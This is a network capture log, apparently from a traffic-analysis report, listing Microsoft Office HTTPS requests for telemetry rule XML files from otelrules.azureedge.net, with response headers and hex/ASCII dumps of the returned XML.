2024-11-20 06:49:14 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064914Z-185f5d8b95c9mqtvhC1NYCghtc0000000a10000000001akr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:14 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:14 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064914Z-185f5d8b95cp7lkfhC1NYC7rpw0000000a300000000023nb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:14 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:14 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:14 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064914Z-185f5d8b95ckwnflhC1NYCx9qs0000000a1g0000000002u4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:14 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:15 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:15 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064915Z-1777c6cb754g9zd5hC1TEBfvpw00000009f0000000000q3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:15 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:15 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:15 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:15 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064915Z-185f5d8b95c96jn4hC1NYCbgp800000009wg000000008ehr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:15 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:15 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064915Z-r1d97b99577ckpmjhC1TEBrzs000000008g000000000avqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:15 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:15 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:15 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 9bd4509d-401e-005b-16fa-3a9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064915Z-r1d97b99577656nchC1TEBk98c00000008hg0000000083ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:15 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:15 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064915Z-185f5d8b95cmd8vfhC1NYC0g4000000005r000000000b819 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:15 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:16 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:16 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:16 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064916Z-1777c6cb754mrj2shC1TEB6k7w000000097g00000000nvw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:16 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:16 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:16 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064916Z-185f5d8b95crl6swhC1NYC3ueg0000000a20000000005e75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:16 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:16 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:16 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064916Z-1777c6cb754vxwc9hC1TEBykgw000000097g000000008z6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:16 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:16 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064916Z-1777c6cb754xrr98hC1TEB3kag000000092g00000000941f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
